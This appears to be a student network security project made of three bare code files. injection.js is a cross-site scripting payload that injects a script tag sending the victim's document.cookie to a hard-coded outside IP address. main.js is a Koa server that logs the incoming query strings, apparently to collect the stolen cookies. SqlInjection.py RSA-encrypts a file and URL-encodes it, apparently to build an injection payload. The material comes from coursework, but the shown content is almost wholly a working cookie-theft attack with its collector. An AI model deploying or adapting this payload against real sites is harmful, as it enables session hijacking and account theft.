Network Security Project 2

injection.js

<script>
    var element1 = document.createElement("script");
    element1.src = "http://140.113.166.11:3000/?banana=" + document.cookie;
    element1.type="text/javascript";
    document.getElementsByTagName("head")[0].appendChild(element1);
</script>

main.js

var koa = require('koa');
var app = koa();

require('koa-qs')(app);

app.use(function *() {
    console.log(this.query);
});

app.listen(3000);

SqlInjection.py

import sys
from M2Crypto import RSA
if len(sys.argv) < 3:
    print "Please input public key and data"
    sys.exit()

rsa=RSA.load_pub_key(sys.argv[1])
fname = sys.argv[2]
file = open(fname, 'r')
data = file.read()
file.close()
txt=rsa.public_encrypt(data, RSA.pkcs1_padding)
txt=txt.encode("base64")
s = []
for c in txt:
    if c == '+':
        s.append("%2B")
    elif c == '/':
        s.append("%2F")
    elif c == '=':
        s.append("%3D")
    else: 
        s.append(c)
print "".join(s);